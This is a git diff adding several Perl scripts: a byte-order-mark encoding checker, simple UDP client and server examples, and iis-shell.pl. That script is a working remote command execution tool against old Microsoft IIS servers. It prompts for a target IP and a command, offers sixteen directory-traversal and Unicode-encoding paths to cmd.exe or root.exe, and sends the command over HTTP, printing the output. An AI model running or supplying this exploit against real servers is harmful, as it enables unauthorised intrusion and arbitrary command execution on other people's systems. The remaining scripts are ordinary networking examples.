diff --git a/perl/check-utf.pl b/perl/check-utf.pl new file mode 100755 index 0000000..cb7101f --- /dev/null +++ b/perl/check-utf.pl @@ -0,0 +1,28 @@ +#!/usr/bin/perl -w + +use strict; +use bytes; + + +while ( <> ) { + # utf8 + if ( /^\xef\xbb\xbf/ ) { + print $ARGV," UTF-8\n"; + } + # utf16le + if ( /^\xff\xfe/ ) { + print $ARGV," UTF-16-LE\n"; + } + # utf32le + if ( /^\xff\xfe\x00\x00/ ) { + print $ARGV," UTF-32-LE\n"; + } + # utf16be + if ( /^\xfe\xff/ ) { + print $ARGV," UTF-16-BE\n"; + } + # utf32be + if ( /^\x00\x00\xfe\xff/ ) { + print $ARGV," UTF-32-BE\n"; + } +} diff --git a/perl/client.pl b/perl/client.pl new file mode 100755 index 0000000..57f46c3 --- /dev/null +++ b/perl/client.pl @@ -0,0 +1,32 @@ +#!/usr/bin/perl -w + +# Client Program +use IO::Socket::INET; +print ">> Client Program <<"; + +# Create a new socket +$MySocket=new IO::Socket::INET->new(PeerPort=>1234,Proto=>'udp',PeerAddr=>'localhost'); + +# Send messages +$def_msg="Enter message to send to server : "; +print "\n",$def_msg; +while($msg=) +{ + chomp $msg; + if($msg ne '') + { + print "\nSending message '",$msg,"'"; + if($MySocket->send($msg)) + { + print ".....","\n"; + print $def_msg; + } + } + else + { + # Send an empty message to server and exit + $MySocket->send(''); + exit 1; + } +} + diff --git a/perl/iis-shell.pl b/perl/iis-shell.pl new file mode 100755 index 0000000..d689073 --- /dev/null +++ b/perl/iis-shell.pl @@ -0,0 +1,90 @@ +#!/usr/bin/perl -w +use IO::Socket::INET; + +print "Enter IP: "; +$ip=; + +print "Enter command: "; + +while($cmd=) +{ + print 'Choose method:',"\n"; + print '[1] /scripts/root.exe?/c+',"\n"; + print '[2] /MSADC/root.exe?/c+',"\n"; + print '[3] /c/winnt/system32/cmd.exe?/c+',"\n"; + print '[4] /d/winnt/system32/cmd.exe?/c+',"\n"; + print '[5] /scripts/..%255c../winnt/system32/cmd.exe?/c+',"\n"; + print '[6] /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+',"\n"; + print '[7] /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+',"\n"; + print '[8] /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+',"\n"; + print '[9] /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+',"\n"; + print '[10] /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+',"\n"; + print '[11] /scripts/..%c0%af../winnt/system32/cmd.exe?/c+',"\n"; + print '[12] /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+',"\n"; + print '[13] /scripts/..%%35%63../winnt/system32/cmd.exe?/c+',"\n"; + print '[14] /scripts/..%%35c../winnt/system32/cmd.exe?/c+',"\n"; + print '[15] /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+',"\n"; + print '[16] /scripts/..%252f../winnt/system32/cmd.exe?/c+',"\n"; + + $method=; + if($method == 1){ + $cmd = 'GET /scripts/root.exe?/c+'.$cmd.' HTTP/1.0'; + } + if($method == 2){ + $cmd = 'GET /MSADC/root.exe?/c+'.$cmd.' HTTP/1.0'; + } + if($method == 3){ + $cmd = 'GET /c/winnt/system32/cmd.exe?/c+'.$cmd.' HTTP/1.0'; + } + if($method == 4){ + $cmd = 'GET /d/winnt/system32/cmd.exe?/c+'.$cmd.' HTTP/1.0'; + } + if($method == 5){ + $cmd = 'GET /scripts/..%255c../winnt/system32/cmd.exe?/c+'.$cmd.' HTTP/1.0'; + } + if($method == 6){ + $cmd = 'GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+'.$cmd.' HTTP/1.0'; + } + if($method == 7){ + $cmd = 'GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+'.$cmd.' HTTP/1.0'; + } + if($method == 8){ + $cmd = 'GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+'.$cmd.' HTTP/1.0'; + } + if($method == 9){ + $cmd = 'GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+'.$cmd.' HTTP/1.0'; + } + if($method == 10){ + $cmd = 'GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+'.$cmd.' HTTP/1.0'; + } + if($method == 11){ + $cmd = 'GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+'.$cmd.' HTTP/1.0'; + } + if($method == 12){ + $cmd = 'GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+'.$cmd.' HTTP/1.0'; + } + if($method == 13){ + $cmd = 'GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+'.$cmd.' HTTP/1.0'; + } + if($method == 14){ + $cmd = 'GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+'.$cmd.' HTTP/1.0'; + } + if($method == 15){ + $cmd = 'GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+'.$cmd.' HTTP/1.0'; + } + if($method == 16){ + $cmd = 'GET /scripts/..%252f../winnt/system32/cmd.exe?/c+'.$cmd.' HTTP/1.0'; + } + print $cmd."\n"; + + $socket=new IO::Socket::INET->new(PeerPort=>80,Proto=>'tcp',PeerAddr=>$ip) or die('Connection failed'); + $socket->send($cmd); + $socket->recv($text,1048576); + while($text ne '') + { + print $text; + $socket->recv($text,1048576); + } + $socket->shutdown(0); + print "\n\nEnter command: "; +} diff --git a/perl/logclient.pl b/perl/logclient.pl new file mode 100755 index 0000000..9e2f840 --- /dev/null +++ b/perl/logclient.pl @@ -0,0 +1,32 @@ +#!/usr/bin/perl -w + +# Client Program +use IO::Socket::INET; +print ">> Client Program <<"; + +# Create a new socket +$MySocket=new IO::Socket::INET->new(PeerPort=>1234,Proto=>'udp',PeerAddr=>'phnoge'); + +# Send messages +$def_msg="Enter message to send to server : "; +print "\n",$def_msg; +while($msg=) +{ + chomp $msg; + if($msg ne '') + { + print "\nSending message '",$msg,"'"; + if($MySocket->send($msg)) + { + print ".....","\n"; + print $def_msg; + } + } + else + { + # Send an empty message to server and exit + $MySocket->send(''); + exit 1; + } +} + diff --git a/perl/logserver.pl b/perl/logserver.pl new file mode 100755 index 0000000..bd2372e --- /dev/null +++ b/perl/logserver.pl @@ -0,0 +1,26 @@ +#!/usr/bin/perl -w + +# Server Program +use IO::Socket::INET; +print ">> Server Program <<\n"; + +# Create a new socket +$MySocket=new IO::Socket::INET->new(LocalPort=>1234,Proto=>'udp'); + +# Keep receiving messages from client + +while(1) +{ + $MySocket->recv($text,1024); + if($text ne '') + { + print $text,"\n"; + } + # If client message is empty exit + else + { + print "Cilent has exited!","\n"; + exit 1; + } +} + diff --git a/perl/server.pl b/perl/server.pl new file mode 100755 index 0000000..ad0618a --- /dev/null +++ b/perl/server.pl @@ -0,0 +1,26 @@ +#!/usr/bin/perl -w + +# Server Program +use IO::Socket::INET; +print ">> Server Program <<\n"; + +# Create a new socket +$MySocket=new IO::Socket::INET->new(LocalPort=>1234,Proto=>'udp'); + +# Keep receiving messages from client +$def_msg="\nReceiving message from client.....\n"; +while(1) +{ + $MySocket->recv($text,128); + if($text ne '') + { + print "\nReceived message '", $text,"'\n"; + } + # If client message is empty exit + else + { + print "Cilent has exited!","\n"; + exit 1; + } +} +